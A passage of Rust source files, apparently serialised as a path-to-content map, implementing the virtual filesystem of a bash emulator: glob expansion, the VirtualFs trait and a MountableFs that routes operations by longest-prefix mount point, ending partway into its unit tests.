    let abs_pattern = if is_absolute {\n            pattern.to_string()\n        } else {\n            let cwd_str = cwd.to_str().unwrap_or(\"/\").trim_end_matches('/');\n            format!(\"{cwd_str}/{pattern}\")\n        };\n\n        let components: Vec<&str> = abs_pattern.split('/').filter(|s| !s.is_empty()).collect();\n        let tree = self.root.read();\n        let mut results = Vec::new();\n        let max = 100_000;\n        glob_collect(\n            &tree,\n            &components,\n            PathBuf::from(\"/\"),\n            &mut results,\n            &tree,\n            max,\n            opts,\n        );\n        results.sort();\n        results.dedup();\n\n        if !is_absolute {\n            results = results\n                .into_iter()\n                .filter_map(|p| {\n                    p.strip_prefix(cwd).ok().map(|r| {\n                        // Rust's strip_prefix normalizes \"/cwd/.\" to \"/cwd\" before\n                        // stripping, yielding an empty path instead of \".\".  Restore\n                        // the \".\" so that `echo .*` shows the current-directory entry.\n                        if r.as_os_str().is_empty() {\n                            PathBuf::from(\".\")\n                        } else {\n                            r.to_path_buf()\n                        }\n                    })\n                })\n                .collect();\n        }\n\n        Ok(results)\n    }\n\n    fn deep_clone(&self) -> Arc<dyn VirtualFs> {\n        Arc::new(InMemoryFs::deep_clone(self))\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Glob tree walk\n// ---------------------------------------------------------------------------\n\nuse crate::interpreter::pattern::{\n    extglob_match, extglob_match_nocase, glob_match, glob_match_nocase,\n};\n\n/// Recursively collect filesystem paths matching a glob pattern.\n///\n/// `node` is the current tree position, `components` the remaining pattern\n/// segments, and `current_path` the path assembled so far. `tree_root` is\n/// used for resolving symlinks, and `max` caps the result count.\nfn glob_collect(\n    node: &FsNode,\n    components: &[&str],\n    current_path: PathBuf,\n    results: &mut Vec<PathBuf>,\n    tree_root: &FsNode,\n    max: usize,\n    opts: &GlobOptions,\n) {\n    if results.len() >= max {\n        return;\n    }\n\n    if components.is_empty() {\n        results.push(current_path);\n        return;\n    }\n\n    // Resolve symlinks so we can see through them to the target directory.\n    let resolved =\n        resolve_if_symlink(node, &current_path, MAX_SYMLINK_DEPTH, tree_root).unwrap_or(node);\n\n    let pattern = components[0];\n    let rest = &components[1..];\n\n    if pattern == \"**\" && opts.globstar {\n        // Zero directories — advance past **\n        glob_collect(\n            resolved,\n            rest,\n            current_path.clone(),\n            results,\n            tree_root,\n            max,\n            opts,\n        );\n\n        // One or more directories — recurse into children\n        if let FsNode::Directory { children, .. } = resolved {\n            for (name, child) in children {\n                if results.len() >= max {\n                    return;\n                }\n                if name.starts_with('.') && !opts.dotglob {\n                    continue;\n                }\n                let child_path = current_path.join(name);\n                glob_collect(child, components, child_path, results, tree_root, max, opts);\n            }\n        }\n    } else {\n        // When globstar is off, treat ** as *\n        let effective_pattern = if pattern == \"**\" { \"*\" } else { pattern };\n\n        if let FsNode::Directory { children, .. } = resolved {\n            // When globskipdots is off, include synthetic . and .. entries\n            if !opts.globskipdots && rest.is_empty() {\n                let match_fn = |name: &str| -> bool {\n                    if opts.extglob && opts.nocaseglob {\n                        extglob_match_nocase(effective_pattern, name)\n                    } else if opts.extglob {\n                        extglob_match(effective_pattern, name)\n                    } else if opts.nocaseglob {\n                        glob_match_nocase(effective_pattern, name)\n                    } else {\n                        glob_match(effective_pattern, name)\n                    }\n                };\n                for dot_name in &[\".\", \"..\"] {\n                    if (effective_pattern.starts_with('.') || opts.dotglob)\n                        && match_fn(dot_name)\n                        && results.len() < max\n                    {\n                        results.push(current_path.join(dot_name));\n                    }\n                }\n            }\n\n            for (name, child) in children {\n                if results.len() >= max {\n                    return;\n                }\n                // Skip hidden files unless dotglob is on or pattern explicitly starts with '.'\n                if name.starts_with('.') && !effective_pattern.starts_with('.') && !opts.dotglob {\n                    continue;\n                }\n                let matched = if opts.extglob && opts.nocaseglob {\n                    extglob_match_nocase(effective_pattern, name)\n                } else if opts.extglob {\n                    extglob_match(effective_pattern, name)\n                } else if opts.nocaseglob {\n                    glob_match_nocase(effective_pattern, name)\n                } else {\n                    glob_match(effective_pattern, name)\n                };\n                if matched {\n                    let child_path = current_path.join(name);\n                    if rest.is_empty() {\n                        results.push(child_path);\n                    } else {\n                        glob_collect(child, rest, child_path, results, tree_root, max, opts);\n                    }\n                }\n            }\n        }\n    }\n}\n\n/// Extract metadata from a node.\nfn node_metadata(node: &FsNode) -> Metadata {\n    match node {\n        FsNode::File {\n            content,\n            mode,\n            mtime,\n            file_id,\n            ..\n        } => Metadata {\n            node_type: NodeType::File,\n            size: content.len() as u64,\n            mode: *mode,\n            mtime: *mtime,\n            file_id: *file_id,\n        },\n        FsNode::Directory { mode, mtime, .. } => Metadata {\n            node_type: NodeType::Directory,\n            size: 0,\n            mode: *mode,\n            mtime: *mtime,\n            file_id: 0,\n        },\n        FsNode::Symlink { target, mtime, .. } => Metadata {\n            node_type: NodeType::Symlink,\n            size: target.to_string_lossy().len() as u64,\n            mode: 0o777,\n            mtime: *mtime,\n            file_id: 0,\n        },\n    }\n}\n","/home/user/src/vfs/mod.rs":"mod memory;\nmod mountable;\n\n#[cfg(feature = \"native-fs\")]\nmod overlay;\n#[cfg(feature = \"native-fs\")]\nmod readwrite;\n\n#[cfg(test)]\nmod tests;\n\n#[cfg(all(test, feature = \"native-fs\"))]\nmod readwrite_tests;\n\n#[cfg(all(test, feature = \"native-fs\"))]\nmod overlay_tests;\n\n#[cfg(test)]\nmod mountable_tests;\n\npub use memory::InMemoryFs;\npub use mountable::MountableFs;\n\n#[cfg(feature = \"native-fs\")]\npub use overlay::OverlayFs;\n#[cfg(feature = \"native-fs\")]\npub use readwrite::ReadWriteFs;\n\nuse crate::error::VfsError;\nuse crate::platform::SystemTime;\nuse std::path::{Path, PathBuf};\nuse std::sync::Arc;\n\n/// VFS paths always use Unix-style `/` separators. `std::path::Path::is_absolute()`\n/// is platform-dependent and returns `false` on `wasm32-unknown-unknown` even for\n/// `/home/user`, so we roll our own check.\npub(crate) fn vfs_path_is_absolute(path: &Path) -> bool {\n    path.to_str().is_some_and(|s| s.starts_with('/'))\n}\n\n/// Metadata for a filesystem node.\n#[derive(Debug, Clone, PartialEq, Eq)]\npub struct Metadata {\n    pub node_type: NodeType,\n    pub size: u64,\n    pub mode: u32,\n    pub mtime: SystemTime,\n    pub file_id: u64,\n}\n\n/// The type of a filesystem node (without content).\n#[derive(Debug, Clone, Copy, PartialEq, Eq)]\npub enum NodeType {\n    File,\n    Directory,\n    Symlink,\n}\n\n/// An entry returned by `readdir`.\n#[derive(Debug, Clone, PartialEq, Eq)]\npub struct DirEntry {\n    pub name: String,\n    pub node_type: NodeType,\n}\n\n/// In-memory representation of a filesystem node.\n#[derive(Debug, Clone)]\npub enum FsNode {\n    File {\n        content: Vec<u8>,\n        mode: u32,\n        mtime: SystemTime,\n        file_id: u64,\n    },\n    Directory {\n        children: std::collections::BTreeMap<String, FsNode>,\n        mode: u32,\n        mtime: SystemTime,\n    },\n    Symlink {\n        target: PathBuf,\n        mtime: SystemTime,\n    },\n}\n\n/// Options that modify glob expansion behavior.\n#[derive(Debug, Clone)]\npub struct GlobOptions {\n    /// Include dot-files even when the pattern doesn't start with `.`.\n    pub dotglob: bool,\n    /// Use case-insensitive matching for filenames.\n    pub nocaseglob: bool,\n    /// Treat `**` as recursive directory match (globstar).\n    /// When false, `**` is treated as `*`.\n    pub globstar: bool,\n    /// Enable extended glob patterns: `@(...)`, `+(...)`, `*(...)`, `?(...)`, `!(...)`.\n    pub extglob: bool,\n    /// When true (default), `.` and `..` are excluded from glob results.\n    pub globskipdots: bool,\n}\n\nimpl Default for GlobOptions {\n    fn default() -> Self {\n        Self {\n            dotglob: false,\n            nocaseglob: false,\n            globstar: false,\n            extglob: false,\n            globskipdots: true,\n        }\n    }\n}\n\n/// Trait abstracting all filesystem operations.\n///\n/// All methods take `&self` — implementations use interior mutability.\n/// All paths are expected to be absolute.\npub trait VirtualFs: Send + Sync {\n    // File CRUD\n    fn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError>;\n    fn write_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError>;\n    fn append_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError>;\n    fn remove_file(&self, path: &Path) -> Result<(), VfsError>;\n\n    // Directory operations\n    fn mkdir(&self, path: &Path) -> Result<(), VfsError>;\n    fn mkdir_p(&self, path: &Path) -> Result<(), VfsError>;\n    fn readdir(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError>;\n    fn remove_dir(&self, path: &Path) -> Result<(), VfsError>;\n    fn remove_dir_all(&self, path: &Path) -> Result<(), VfsError>;\n\n    // Metadata and permissions\n    fn exists(&self, path: &Path) -> bool;\n    fn stat(&self, path: &Path) -> Result<Metadata, VfsError>;\n    fn lstat(&self, path: &Path) -> Result<Metadata, VfsError>;\n    fn chmod(&self, path: &Path, mode: u32) -> Result<(), VfsError>;\n    fn utimes(&self, path: &Path, mtime: SystemTime) -> Result<(), VfsError>;\n\n    // Links\n    fn symlink(&self, target: &Path, link: &Path) -> Result<(), VfsError>;\n    fn hardlink(&self, src: &Path, dst: &Path) -> Result<(), VfsError>;\n    fn readlink(&self, path: &Path) -> Result<PathBuf, VfsError>;\n\n    // Path resolution\n    fn canonicalize(&self, path: &Path) -> Result<PathBuf, VfsError>;\n\n    // File operations\n    fn copy(&self, src: &Path, dst: &Path) -> Result<(), VfsError>;\n    fn rename(&self, src: &Path, dst: &Path) -> Result<(), VfsError>;\n\n    // Glob expansion (stub for now)\n    fn glob(&self, pattern: &str, cwd: &Path) -> Result<Vec<PathBuf>, VfsError>;\n\n    /// Glob expansion with shopt-controlled options (dotglob, nocaseglob, globstar).\n    ///\n    /// The default implementation ignores options and delegates to `glob()`.\n    /// Override in backends that can honor the options.\n    fn glob_with_opts(\n        &self,\n        pattern: &str,\n        cwd: &Path,\n        _opts: &GlobOptions,\n    ) -> Result<Vec<PathBuf>, VfsError> {\n        self.glob(pattern, cwd)\n    }\n\n    /// Create an independent deep copy for subshell isolation.\n    ///\n    /// Subshells `( ... )` and command substitutions `$(...)` need an isolated\n    /// filesystem so their mutations don't leak back to the parent. Each backend\n    /// decides what \"independent copy\" means:\n    /// - InMemoryFs: clones the entire tree\n    /// - OverlayFs: clones the upper layer and whiteouts; lower is shared\n    /// - ReadWriteFs: no isolation (returns Arc::clone — writes hit real FS)\n    /// - MountableFs: recursively deep-clones each mount\n    fn deep_clone(&self) -> Arc<dyn VirtualFs>;\n}\n","/home/user/src/vfs/mountable.rs":"//! MountableFs — composite filesystem that delegates to different backends\n//! based on longest-prefix mount point matching.\n//!\n//! Each mount point maps an absolute path to a `VirtualFs` backend. When an\n//! operation arrives, MountableFs finds the longest mount prefix that matches\n//! the path, strips the prefix, re-roots the remainder as absolute, and\n//! delegates to that backend.\n//!\n//! Mounting at `\"/\"` provides a default fallback for all paths.\n\nuse std::collections::BTreeMap;\nuse std::path::{Path, PathBuf};\nuse std::sync::Arc;\n\nuse crate::platform::SystemTime;\n\nuse parking_lot::RwLock;\n\nuse super::{DirEntry, Metadata, NodeType, VirtualFs};\nuse crate::error::VfsError;\nuse crate::interpreter::pattern::glob_match;\n\n/// Result of resolving two paths to their respective mounts.\nstruct MountPair {\n    src_fs: Arc<dyn VirtualFs>,\n    src_rel: PathBuf,\n    dst_fs: Arc<dyn VirtualFs>,\n    dst_rel: PathBuf,\n    same: bool,\n}\n\n/// A composite filesystem that delegates to mounted backends via longest-prefix\n/// matching.\n///\n/// # Example\n///\n/// ```ignore\n/// use rust_bash::{RustBashBuilder, InMemoryFs, MountableFs, OverlayFs};\n/// use std::sync::Arc;\n///\n/// let mountable = MountableFs::new()\n///     .mount(\"/\", Arc::new(InMemoryFs::new()))\n///     .mount(\"/project\", Arc::new(OverlayFs::new(\"./myproject\").unwrap()));\n///\n/// let mut shell = RustBashBuilder::new()\n///     .fs(Arc::new(mountable))\n///     .cwd(\"/\")\n///     .build()\n///     .unwrap();\n/// ```\npub struct MountableFs {\n    mounts: Arc<RwLock<BTreeMap<PathBuf, Arc<dyn VirtualFs>>>>,\n}\n\nimpl MountableFs {\n    /// Create an empty MountableFs with no mount points.\n    pub fn new() -> Self {\n        Self {\n            mounts: Arc::new(RwLock::new(BTreeMap::new())),\n        }\n    }\n\n    /// Mount a filesystem backend at the given absolute path.\n    ///\n    /// Paths must be absolute. Mounting at `\"/\"` provides the default fallback.\n    /// Later mounts at the same path replace earlier ones.\n    pub fn mount(self, path: impl Into<PathBuf>, fs: Arc<dyn VirtualFs>) -> Self {\n        let path = path.into();\n        assert!(\n            super::vfs_path_is_absolute(&path),\n            \"mount path must be absolute: {path:?}\"\n        );\n        self.mounts.write().insert(path, fs);\n        self\n    }\n\n    /// Find the mount that owns the given path.\n    ///\n    /// Returns the mount's filesystem and the path relative to the mount point,\n    /// re-rooted as absolute (prepended with `/`).\n    ///\n    /// BTreeMap sorts lexicographically, so `/project/src` > `/project`.\n    /// Iterating in reverse gives longest-prefix first.\n    fn resolve_mount(&self, path: &Path) -> Result<(Arc<dyn VirtualFs>, PathBuf), VfsError> {\n        let mounts = self.mounts.read();\n        for (mount_point, fs) in mounts.iter().rev() {\n            if path.starts_with(mount_point) {\n                let relative = path.strip_prefix(mount_point).unwrap_or(Path::new(\"\"));\n                let resolved = if relative.as_os_str().is_empty() {\n                    PathBuf::from(\"/\")\n                } else {\n                    PathBuf::from(\"/\").join(relative)\n                };\n                return Ok((Arc::clone(fs), resolved));\n            }\n        }\n        Err(VfsError::NotFound(path.to_path_buf()))\n    }\n\n    /// Resolve mount for two paths (used by copy/rename/hardlink).\n    fn resolve_two(&self, src: &Path, dst: &Path) -> Result<MountPair, VfsError> {\n        let mounts = self.mounts.read();\n        let resolve_one =\n            |path: &Path| -> Result<(Arc<dyn VirtualFs>, PathBuf, PathBuf), VfsError> {\n                for (mount_point, fs) in mounts.iter().rev() {\n                    if path.starts_with(mount_point) {\n                        let relative = path.strip_prefix(mount_point).unwrap_or(Path::new(\"\"));\n                        let resolved = if relative.as_os_str().is_empty() {\n                            PathBuf::from(\"/\")\n                        } else {\n                            PathBuf::from(\"/\").join(relative)\n                        };\n                        return Ok((Arc::clone(fs), resolved, mount_point.clone()));\n                    }\n                }\n                Err(VfsError::NotFound(path.to_path_buf()))\n            };\n\n        let (src_fs, src_rel, src_mount) = resolve_one(src)?;\n        let (dst_fs, dst_rel, dst_mount) = resolve_one(dst)?;\n        let same = src_mount == dst_mount;\n        Ok(MountPair {\n            src_fs,\n            src_rel,\n            dst_fs,\n            dst_rel,\n            same,\n        })\n    }\n\n    /// Collect synthetic directory entries from mount points that are direct\n    /// children of `dir_path`. For example, if mounts exist at `/project` and\n    /// `/project/src`, listing `/` should include `project` and listing\n    /// `/project` should include `src`.\n    fn synthetic_mount_entries(&self, dir_path: &Path) -> Vec<DirEntry> {\n        let mounts = self.mounts.read();\n        let mut entries = Vec::new();\n        let dir_str = dir_path.to_string_lossy();\n        let prefix = if dir_str == \"/\" {\n            \"/\".to_string()\n        } else {\n            format!(\"{}/\", dir_str.trim_end_matches('/'))\n        };\n\n        for mount_point in mounts.keys() {\n            // Skip the mount if it IS the directory itself.\n            if mount_point == dir_path {\n                continue;\n            }\n            let mp_str = mount_point.to_string_lossy();\n            if let Some(rest) = mp_str.strip_prefix(&prefix)\n                && !rest.is_empty()\n            {\n                // Take only the first path component (handles deep mounts\n                // like /a/b/c when listing /a).\n                let first_component = rest.split('/').next().unwrap();\n                if !entries.iter().any(|e: &DirEntry| e.name == first_component) {\n                    entries.push(DirEntry {\n                        name: first_component.to_string(),\n                        node_type: NodeType::Directory,\n                    });\n                }\n            }\n        }\n        entries\n    }\n\n    /// Recursive glob walker that spans mount boundaries.\n    fn glob_walk(\n        &self,\n        dir: &Path,\n        components: &[&str],\n        current_path: PathBuf,\n        results: &mut Vec<PathBuf>,\n        max: usize,\n    ) {\n        if results.len() >= max || components.is_empty() {\n            if components.is_empty() {\n                results.push(current_path);\n            }\n            return;\n        }\n\n        let pattern = components[0];\n        let rest = &components[1..];\n\n        // Get entries from the mounted fs (if any) merged with synthetic mount entries.\n        let entries = self.merged_readdir_for_glob(dir);\n\n        if pattern == \"**\" {\n            // Zero directories — advance past **\n            self.glob_walk(dir, rest, current_path.clone(), results, max);\n\n            for entry in &entries {\n                if results.len() >= max {\n                    return;\n                }\n                if entry.name.starts_with('.') {\n                    continue;\n                }\n                let child_path = current_path.join(&entry.name);\n                let child_dir = dir.join(&entry.name);\n                if entry.node_type == NodeType::Directory || entry.node_type == NodeType::Symlink {\n                    self.glob_walk(&child_dir, components, child_path, results, max);\n                }\n            }\n        } else {\n            for entry in &entries {\n                if results.len() >= max {\n                    return;\n                }\n                if entry.name.starts_with('.') && !pattern.starts_with('.') {\n                    continue;\n                }\n                if glob_match(pattern, &entry.name) {\n                    let child_path = current_path.join(&entry.name);\n                    let child_dir = dir.join(&entry.name);\n                    if rest.is_empty() {\n                        results.push(child_path);\n                    } else if entry.node_type == NodeType::Directory\n                        || entry.node_type == NodeType::Symlink\n                    {\n                        self.glob_walk(&child_dir, rest, child_path, results, max);\n                    }\n                }\n            }\n        }\n    }\n\n    /// Get directory entries for glob walking: real entries from the mount\n    /// merged with synthetic mount-point entries.\n    fn merged_readdir_for_glob(&self, dir: &Path) -> Vec<DirEntry> {\n        let mut entries = match self.resolve_mount(dir) {\n            Ok((fs, rel)) => fs.readdir(&rel).unwrap_or_default(),\n            Err(_) => Vec::new(),\n        };\n\n        // Add synthetic entries for child mount points.\n        let synthetics = self.synthetic_mount_entries(dir);\n        let existing_names: std::collections::HashSet<String> =\n            entries.iter().map(|e| e.name.clone()).collect();\n        for s in synthetics {\n            if !existing_names.contains(&s.name) {\n                entries.push(s);\n            }\n        }\n        entries\n    }\n}\n\nimpl Default for MountableFs {\n    fn default() -> Self {\n        Self::new()\n    }\n}\n\n// ---------------------------------------------------------------------------\n// VirtualFs implementation\n// ---------------------------------------------------------------------------\n\nimpl VirtualFs for MountableFs {\n    fn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.read_file(&rel)\n    }\n\n    fn write_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.write_file(&rel, content)\n    }\n\n    fn append_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.append_file(&rel, content)\n    }\n\n    fn remove_file(&self, path: &Path) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.remove_file(&rel)\n    }\n\n    fn mkdir(&self, path: &Path) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.mkdir(&rel)\n    }\n\n    fn mkdir_p(&self, path: &Path) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.mkdir_p(&rel)\n    }\n\n    fn readdir(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError> {\n        // Track whether the underlying mount confirmed this directory exists.\n        let (mut entries, mount_ok) = match self.resolve_mount(path) {\n            Ok((fs, rel)) => match fs.readdir(&rel) {\n                Ok(e) => (e, true),\n                Err(_) => (Vec::new(), false),\n            },\n            Err(_) => (Vec::new(), false),\n        };\n\n        // Merge in synthetic entries from child mount points.\n        let synthetics = self.synthetic_mount_entries(path);\n        let existing_names: std::collections::HashSet<String> =\n            entries.iter().map(|e| e.name.clone()).collect();\n        for s in synthetics {\n            if !existing_names.contains(&s.name) {\n                entries.push(s);\n            }\n        }\n\n        // Only return NotFound when the mount itself errored AND there are no\n        // synthetic entries from child mounts. An empty directory that the\n        // mount confirmed is legitimate.\n        if !mount_ok && entries.is_empty() {\n            return Err(VfsError::NotFound(path.to_path_buf()));\n        }\n        Ok(entries)\n    }\n\n    fn remove_dir(&self, path: &Path) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.remove_dir(&rel)\n    }\n\n    fn remove_dir_all(&self, path: &Path) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.remove_dir_all(&rel)\n    }\n\n    fn exists(&self, path: &Path) -> bool {\n        // A path exists if its owning mount says so, OR if it is itself a\n        // mount point (mount points are treated as existing directories).\n        if let Ok((fs, rel)) = self.resolve_mount(path)\n            && fs.exists(&rel)\n        {\n            return true;\n        }\n        // Check if this exact path is a mount point.\n        let mounts = self.mounts.read();\n        if mounts.contains_key(path) {\n            return true;\n        }\n        // Check if any mount is a descendant (making this a synthetic parent).\n        let prefix = if path == Path::new(\"/\") {\n            \"/\".to_string()\n        } else {\n            format!(\"{}/\", path.to_string_lossy().trim_end_matches('/'))\n        };\n        mounts\n            .keys()\n            .any(|mp| mp.to_string_lossy().starts_with(&prefix))\n    }\n\n    fn stat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        // Try the owning mount first.\n        if let Ok((fs, rel)) = self.resolve_mount(path)\n            && let Ok(m) = fs.stat(&rel)\n        {\n            return Ok(m);\n        }\n        // If this path is a mount point or has child mounts, return synthetic\n        // directory metadata.\n        if self.is_mount_point_or_ancestor(path) {\n            return Ok(Metadata {\n                node_type: NodeType::Directory,\n                size: 0,\n                mode: 0o755,\n                mtime: SystemTime::UNIX_EPOCH,\n                file_id: 0,\n            });\n        }\n        Err(VfsError::NotFound(path.to_path_buf()))\n    }\n\n    fn lstat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        if let Ok((fs, rel)) = self.resolve_mount(path)\n            && let Ok(m) = fs.lstat(&rel)\n        {\n            return Ok(m);\n        }\n        if self.is_mount_point_or_ancestor(path) {\n            return Ok(Metadata {\n                node_type: NodeType::Directory,\n                size: 0,\n                mode: 0o755,\n                mtime: SystemTime::UNIX_EPOCH,\n                file_id: 0,\n            });\n        }\n        Err(VfsError::NotFound(path.to_path_buf()))\n    }\n\n    fn chmod(&self, path: &Path, mode: u32) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.chmod(&rel, mode)\n    }\n\n    fn utimes(&self, path: &Path, mtime: SystemTime) -> Result<(), VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        fs.utimes(&rel, mtime)\n    }\n\n    fn symlink(&self, target: &Path, link: &Path) -> Result<(), VfsError> {\n        let (link_fs, link_rel) = self.resolve_mount(link)?;\n        // If the target is absolute and resolves to the same mount as the link,\n        // remap it into the mount's namespace so the underlying FS can follow it.\n        let remapped_target = if target.is_absolute() {\n            if let Ok((_, target_rel)) = self.resolve_mount(target) {\n                // Find mount point for the link to compare\n                let link_mount = self.mount_point_for(link);\n                let target_mount = self.mount_point_for(target);\n                if link_mount == target_mount {\n                    target_rel\n                } else {\n                    target.to_path_buf()\n                }\n            } else {\n                target.to_path_buf()\n            }\n        } else {\n            target.to_path_buf()\n        };\n        link_fs.symlink(&remapped_target, &link_rel)\n    }\n\n    fn hardlink(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let pair = self.resolve_two(src, dst)?;\n        if !pair.same {\n            return Err(VfsError::IoError(\n                \"hard links across mount boundaries are not supported\".to_string(),\n            ));\n        }\n        pair.src_fs.hardlink(&pair.src_rel, &pair.dst_rel)\n    }\n\n    fn readlink(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        let target = fs.readlink(&rel)?;\n        // If the target is absolute and the link lives at a non-root mount,\n        // remap the target back to the global namespace.\n        if target.is_absolute() {\n            let mount_point = self.mount_point_for(path);\n            if mount_point != Path::new(\"/\") {\n                let inner_rel = target.strip_prefix(\"/\").unwrap_or(&target);\n                if inner_rel.as_os_str().is_empty() {\n                    return Ok(mount_point);\n                }\n                return Ok(mount_point.join(inner_rel));\n            }\n        }\n        Ok(target)\n    }\n\n    fn canonicalize(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let (fs, rel) = self.resolve_mount(path)?;\n        let canonical_in_mount = fs.canonicalize(&rel)?;\n        // Re-root back to global namespace: find what mount we used, prepend\n        // the mount point.\n        let mounts = self.mounts.read();\n        for (mount_point, _) in mounts.iter().rev() {\n            if path.starts_with(mount_point) {\n                if mount_point == Path::new(\"/\") {\n                    return Ok(canonical_in_mount);\n                }\n                let inner_rel = canonical_in_mount\n                    .strip_prefix(\"/\")\n                    .unwrap_or(&canonical_in_mount);\n                if inner_rel.as_os_str().is_empty() {\n                    return Ok(mount_point.clone());\n                }\n                return Ok(mount_point.join(inner_rel));\n            }\n        }\n        Ok(canonical_in_mount)\n    }\n\n    fn copy(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let pair = self.resolve_two(src, dst)?;\n        if pair.same {\n            pair.src_fs.copy(&pair.src_rel, &pair.dst_rel)\n        } else {\n            let content = pair.src_fs.read_file(&pair.src_rel)?;\n            pair.dst_fs.write_file(&pair.dst_rel, &content)\n        }\n    }\n\n    fn rename(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let pair = self.resolve_two(src, dst)?;\n        if pair.same {\n            pair.src_fs.rename(&pair.src_rel, &pair.dst_rel)\n        } else {\n            // Check if source is a directory — cross-mount directory rename\n            // is not supported (would need recursive copy).\n            if let Ok(m) = pair.src_fs.stat(&pair.src_rel)\n                && m.node_type == NodeType::Directory\n            {\n                return Err(VfsError::IoError(\n                    \"rename of directories across mount boundaries is not supported\".to_string(),\n                ));\n            }\n            let content = pair.src_fs.read_file(&pair.src_rel)?;\n            pair.dst_fs.write_file(&pair.dst_rel, &content)?;\n            pair.src_fs.remove_file(&pair.src_rel)\n        }\n    }\n\n    // TODO: MountableFs::glob does not yet honor GlobOptions (dotglob, nocaseglob, globstar).\n    // Its glob_walk traversal needs refactoring to accept options.\n    fn glob(&self, pattern: &str, cwd: &Path) -> Result<Vec<PathBuf>, VfsError> {\n        let is_absolute = pattern.starts_with('/');\n        let abs_pattern = if is_absolute {\n            pattern.to_string()\n        } else {\n            let cwd_str = cwd.to_str().unwrap_or(\"/\").trim_end_matches('/');\n            format!(\"{cwd_str}/{pattern}\")\n        };\n\n        let components: Vec<&str> = abs_pattern.split('/').filter(|s| !s.is_empty()).collect();\n        let mut results = Vec::new();\n        let max = 100_000;\n        self.glob_walk(\n            Path::new(\"/\"),\n            &components,\n            PathBuf::from(\"/\"),\n            &mut results,\n            max,\n        );\n\n        results.sort();\n        results.dedup();\n\n        if !is_absolute {\n            results = results\n                .into_iter()\n                .filter_map(|p| p.strip_prefix(cwd).ok().map(|r| r.to_path_buf()))\n                .collect();\n        }\n\n        Ok(results)\n    }\n\n    fn deep_clone(&self) -> Arc<dyn VirtualFs> {\n        let mounts = self.mounts.read();\n        let cloned_mounts: BTreeMap<PathBuf, Arc<dyn VirtualFs>> = mounts\n            .iter()\n            .map(|(path, fs)| (path.clone(), fs.deep_clone()))\n            .collect();\n        Arc::new(MountableFs {\n            mounts: Arc::new(RwLock::new(cloned_mounts)),\n        })\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Private helpers\n// ---------------------------------------------------------------------------\n\nimpl MountableFs {\n    /// Returns true if `path` is a mount point or an ancestor of one.\n    fn is_mount_point_or_ancestor(&self, path: &Path) -> bool {\n        let mounts = self.mounts.read();\n        if mounts.contains_key(path) {\n            return true;\n        }\n        let prefix = if path == Path::new(\"/\") {\n            \"/\".to_string()\n        } else {\n            format!(\"{}/\", path.to_string_lossy().trim_end_matches('/'))\n        };\n        mounts\n            .keys()\n            .any(|mp| mp.to_string_lossy().starts_with(&prefix))\n    }\n\n    /// Return the mount point that owns `path` (longest-prefix match).\n    fn mount_point_for(&self, path: &Path) -> PathBuf {\n        let mounts = self.mounts.read();\n        for mount_point in mounts.keys().rev() {\n            if path.starts_with(mount_point) {\n                return mount_point.clone();\n            }\n        }\n        PathBuf::from(\"/\")\n    }\n}\n","/home/user/src/vfs/mountable_tests.rs":"//! Tests for MountableFs.\n\nuse std::path::{Path, PathBuf};\nuse std::sync::Arc;\n\nuse crate::vfs::{InMemoryFs, MountableFs, NodeType, VirtualFs};\n\n/// Helper: create an InMemoryFs with some seed files.\nfn make_memory_fs(files: &[(&str, &[u8])]) -> Arc<InMemoryFs> {\n    let fs = InMemoryFs::new();\n    for (path, content) in files {\n        let p = Path::new(path);\n        if let Some(parent) = p.parent()\n            && parent != Path::new(\"/\")\n        {\n            fs.mkdir_p(parent).unwrap();\n        }\n        fs.write_file(p, content).unwrap();\n    }\n    Arc::new(fs)\n}\n\n// -----------------------------------------------------------------------\n// 4i.1 Basic delegation: read/write through mount points\n// -----------------------------------------------------------------------\n\n#[test]\nfn basic_read_write_through_mount() {\n    let root_fs = make_memory_fs(&[(\"/hello.txt\", b\"root hello\")]);\n    let project_fs = make_memory_fs(&[(\"/README.md\", b\"project readme\")]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs);\n\n    assert_eq!(\n        mfs.read_file(Path::new(\"/hello.txt\")).unwrap(),\n        b\"root hello\"\n    );\n    assert_eq!(\n        mfs.read_file(Path::new(\"/project/README.md\")).unwrap(),\n        b\"project readme\"\n    );\n\n    // Write through mount\n    mfs.write_file(Path::new(\"/project/new.txt\"), b\"new content\")\n        .unwrap();\n    assert_eq!(\n        mfs.read_file(Path::new(\"/project/new.txt\")).unwrap(),\n        b\"new content\"\n    );\n}\n\n// -----------------------------------------------------------------------\n// 4i.2 Longest-prefix: /project/src mount preferred over /project\n// -----------------------------------------------------------------------\n\n#[test]\nfn longest_prefix_matching() {\n    let project_fs = make_memory_fs(&[(\"/lib.rs\", b\"project lib\")]);\n    let src_fs = make_memory_fs(&[(\"/main.rs\", b\"src main\")]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/project\", project_fs)\n        